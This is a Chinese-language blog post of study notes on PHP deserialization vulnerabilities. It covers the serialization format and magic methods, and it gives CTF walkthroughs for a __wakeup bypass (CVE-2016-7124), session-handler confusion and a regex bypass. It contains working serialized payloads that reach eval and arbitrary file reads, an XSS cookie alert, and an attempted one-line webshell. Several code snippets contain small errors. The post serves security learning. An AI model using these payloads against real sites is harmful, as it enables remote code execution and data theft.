PHP反序列化漏洞学习小结

最近又遇到php反序列化,就顺便来做个总结。

0x01 PHP序列化和反序列化

php序列化:php对象 序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。序列化后的字节流保存了php对象的状态以及相关的描述信息。序列化机制的核心作用就是对象状态的保存与重建。
php反序列化:php客户端从文件中或网络上获得序列化后的对象字节流后,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。
简单来说,序列化就是把实体对象状态按照一定的格式写入到有序字节流,当要用到时就通过反序列化来从建对象,恢复对象状态,这样就可以很方便的存取数据和传输数据。

序列化例子:

<?php 
class test{ 
    public $name = 'lu'; 
    private $name2 = 'lu'; 
    protected $name3 = 'lu'; 
} 
$test1 = new test(); 
$object = serialize($test1); 
print_r($object); ?>

最后输出:O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"testname2";s:2:"lu";s:8:"*name3";s:2:"lu";}
注意:序列化对象时,不会保存常量的值。对于父类中的变量,则会保留
序列化只序列化属性,不序列化方法。
简单介绍下具体含义

但是我们注意到上面的例子序列化的结果有些不对。那是因为序列化public private protect参数会产生不同结果,test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串但是序列化输出的值不相同。
通过对网页抓取输出是这样的

`O:4:"test":3:{s:4:"name";s:2:"lu";s:11:"\00test\00name2";s:2:"lu";s:8:"*\00*\00name3";s:2:"lu";}

public的参数变成 name private的参数被反序列化后变成 \00name\00name2 protected的参数变成 \00*\00name3

反序列化试例:

?php
class lushun{
var $test = '123';
}
$class2 = 'O:6:"lushun":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";
//我们在这里用 unserialize() 还原已经序列化的对象
$class2_un= unserialize($class2); //此时的 $class2_un 已经是前面的test类的实例了
print_r($class2_unser);
echo "</br>";

?>


一般反序列化后必须要在当前作用域有对应的类(因为不会序列化方法),实例才能正确使用,所以再进行反序列化攻击的时候就是依托类属性进行,找到我们能控制的属性变量,在依托它的类方法进行攻击。将上面定义的lushun类删除之后。结果

提示不完整的类

0x02 PHP序列化漏洞是怎么产生的

要了解在序列化和反序列化之间的漏洞,我们先要了解PHP里面的魔术方法,魔术方法一般是以__开头,通常都设置了某些特定条件来触发。这里先提一下有个印象。

PHP的魔法函数

__wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

序列化本身没有问题,问题还是那个经典的老大难:用户输入,我们可以控制序列化和反序列化的参数,就可以篡改对象的属性来达到攻击目的。为了达到我们想实现的目的,就必须对序列化和反序列化过程进行详尽的了解,利用或者绕过某些魔法函数。
来一个例子

<?php 

class test{

    public $target = 'this is a test';

    function __destruct(){

        echo $this->target;

    }

}

$a = $_GET['test'];

$c = unserialize($a);

?>

我们构造一个反序列化来修改$target的内容,就可以制造一个xss弹窗,既然我们可以控制$a的输入

<?php 

class test{

    public $target = '<script>alert(document.cookie);</script>';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

0x03 魔法函数的触发顺序

我们重点关注以下几个魔法函数
这里我们着重关注一下几个:

  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • 析构函数__destruct():当对象被销毁时会自动调用。
  • __wakeup():如前所提,unserialize()时会自动调用。
  • __toString()当一个对象被当作一个字符串使用
    *__sleep()在对象在被序列化之前运行,用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。
    测试代码
<?php
class lushun{
	public $test = '123';
	function __wakeup(){
		echo "__wakeup";
		echo "</br>";
	}
	function __sleep(){
		echo "__sleep";
		echo "</br>";
		return array('test');
	}
	function __toString(){
     return "__toString"."</br>";
  }
	function __conStruct(){
		echo "__construct";
		echo "</br>";
	}
	function __destruct(){
		echo "__destruct";
		echo "</br>";
	}
}


$lushun_1 = new lushun();
$data = serialize($lushun_1);
$lushun_2 = unserialize($data);
print($lushun_2);
print($data."</br>");
?>

输出结果:

可以看到__destruct函数执行了两次,说明有两个对象被销毁,一个是实例化的对象,还有一个是反序列化后生成的对象。

0x04 魔法方法的攻击

先来看个例子

<?php
class One {
    private $test;
    function __construct() {
        $this->test = new Bad();
    }

    function __destruct() {
        $this->test->action();
    }
}

class Bad {
    function action() {
        echo "1234";
    }
}

class Good {

    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

可以看到需要我们传入一个序列化后的字符串作为参数,然后看定义了三个类第一个One类里有两个魔法函数,一个构造函数一个析构函数,构造函数把One类的test属性变成Bad类的实例,析构函数就执行action()方法,但是到现在还是没发现什么有价值的东西,再往下看Good类里有eval函数,这个函数很危险能够执行php命令,知道了这些想想怎么能利用上,如果我们能将构造函数的test属性从Bad类转到Good类,再给Good类的test变量定义一个可以执行的值,是不是就可以用上了呢。看一下实现代码。

<?php
class One {
    private $test;
    function __construct() {
        $this->test = new Good();
    }
}
class Good {
    var $test2="phpinfo();";
}
$A = new One;
print(serialize($A));


这里可能你也有个疑问,php序列化的时候是不会序列化方法的,但是这里序列化之后还是带着构造方法所引用的对象信息,我将构造方法删除之后,在执行了一次,是这样的。

发现构造函数还是影响了序列化的操作,这里着实困扰了我一阵,后来发现是我傻了,在序列化之前已经先new了一个对象构造函数已经先执行了,已经将test的属性改为Good类的对象了,所以序列化时自然会带上Good类。
接下来就可以用生成的序列化结果复制出来,像之前的代码发起请求
192.168.0.103/13.php?test=O:3:"One":1:{s:9:"%00One%00test";O:4:"Good":1:{s:5:"test2";s:10:"phpinfo();";}}
注意:test是private类型,记得加上%00xx%00,我们在传输过程中绝对不能忘掉.

这里我还尝试了一下把$test2的值换成一句话马

然后构造url用菜刀连接
http://192.168.0.103/13.php?test=O:3:"One":1:{s:9:"Onetest";O:4:"Good":1:{s:5:"test2";s:13:"($_POST[cmd])";}}
结果报错了

下次再研究一下为什么。
到了这里大致总结一下发现利用php反序列化漏洞的几个点。
(1)检查我们是否能控制unserialize()函数的参数。
(2)重点查看序列化对象里的魔法函数的作用,看看可控制的属性有没有能对其产生影响的。
(3)该类在执行序列化之前做了哪些动作,或者操作。
(4)最后选择好要控制的属性之后,将相关的类代码复制下来生成反序列结果。

0x05 反序列化漏洞例题

1.bugku平台 flag.php

http://123.206.87.240:8002/flagphp/?hint

<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link rel="stylesheet" href="admin.css" type="text/css"></head><body><br><div class="container" align="center">  <form method="POST" action="#">    <p><input name="user" type="text" placeholder="Username"></p>    <p><input name="password" type="password" placeholder="Password"></p>    <p><input value="Login" type="button"/></p>  
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>

代码审计看到首先将请求头cooke值里ISecer的键值保存到$Cookie里,再判断$Key的值是否与反序列化后的$Cookie值相同,注意在这里$Key的数值是没有定义的,最后那个定义是在后面了没起作用。
所以我们只需要将cookie的值改为$Key序列化后的值就行。代码如下。

<?php 
$key = "";
$aaa = serialize($key);
print ($aaa)
?>
输出:s:0:"";

再把cookie改为ISecer:s=0:"";即可,注意要是用浏览器插件修改cookie的话要把;改为%3B

2.反序列化绕过__wakeup

<?php 
class SoFun{
  protected $file='index.php';
  function __destruct(){
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }
  function __wakeup(){
   $this->file='index.php';
  }
  public function __toString(){
    return '' ;
  }
}
if (!isset($_GET['file'])){
  show_source('index.php');
}
else{
  $file=base64_decode($_GET['file']);
  echo unserialize($file);
}
 ?> #<!--key in flag.php-->

代码意思就是将提交的file参数base64解码后再反序列化,我们看到析构函数可以显示不同文件的源码,但是__wakeup函数已经锁定了file为index.php所以现在就是考虑绕过__wakeup函数,实际上是一个CVE漏洞,CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。网上已经有很多讲解了,我们只需要知道成员数目大于实际数目这个利用的点就行了
构造exp

<?php
class SoFun{
	protected $file = 'flag.php';
}
$aa = new SoFun();
$aaa = serialize($aa);
file_put_contents('qq.txt',$aaa);
?>

O:5:"SoFun":1:{s:7:"/00*/00file";s:8:"flag.php";}有protected属性成员记得加上/00,再把1改为2或者更大的数,再base64编码一下就行了,但我在操作中发现如果括号里第一个s为小写,base64编码后不会显示flag.php源码.

诶这又是为什么,我思来想去,最后发现是protected属性的问题,我将源码的protected改为var后,无论s大写小写都可以正常显示flag.php源码,我再次试验后发现private属性也是一样的有这个问题。算是个坑吧刚好记录一下。

session反序列化

看看这个
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
PHP中的会话中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是会议的值序列化之后的内容。
session.serialize_handler是用来设置会话序列的化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的会话的存储方式不相同。
php session有三种序列化和反序列化处理器

处理器 对应的存储格式
php_binary 键名的长度对应的ASCII字符+键名+经过的serialize()函数序列化处理的值
php 键名+竖线+经过的serialize()函数序列处理的值
php_serialize(php>5.5.4) 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的处理器');

session使用相同的序列化和反序列化处理器进行存储工作时是正常的,但如果php session序列化和反序列化时使用的处理器不同会导致无法正常反序列化,通过特殊的构造甚至可以伪造任意数据。
比如默认是php的handler,在该页面设置为php_serialize这是如果我们传入一个 '|O:5:"Class"';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化。
在默认的php处理器下储存为

<?php 
session_start(); 
$_SESSION['sex'] = 'man';
储存的值为:
sex|s:3:"man";

在php_serialize处理器下:
注意:使用php_serialize php版本必须在5.5.4以上不然没有这个方法报错。

<?php 
ini_set('session.serialize_handler', 'php_serialize'); 
session_start(); 
$_SESSION['sex'] = 'man';
储存的值为:
a:1:{s:3:"sex";s:3:"man";}

实际利用
so.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["sex"]=$_GET["m"];

soo.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Sex{
 var $hi;
 function __construct(){
 $this->hi = "system('whoami');";
 }

 function __destruct() {
  eval($this->hi);
 }
}

在so.php构造
127.0.0.1/2016/so.php?a=Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}

然后访问soo.php

为什么会这样呢,因为开始访问so.php时,脚本会按照php_serialize处理器的方法序列化存储数据,会将Sex当做键名,a的参数当做键值当成一个数组序列化存储起来,变成这样
a:1:{s:3:"sex";s:45:"Sex|O:3:"Sex":1:{s:2:"hi";s:10:"phpinfo();";}";}然后访问soo.php时是用php处理器读取数据,会以|为分界线,前半部分作为键名后半部分作为值将后半部分反序列化,会得到Sec类。

反序列化绕过正则

一道简单ctf

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

unserialize 一眼就看到了是反序列化题目,一个__toString方法允许读取任意文件。
所以构造反序列化,但是还有个正则拦路虎
preg_match('/[oc]:\d+:/i',$data,$matches)筛掉了[oc]:数字:
所以如果正常构造序列化字符串
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}前面的O:4就被拦下,所以我们在4后面加上个+构造payload:
O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
记得编码一下,不然+会变成空格

posted @ 2020-04-06 21:49  Lushun  阅读(1675)  评论(0编辑  收藏  举报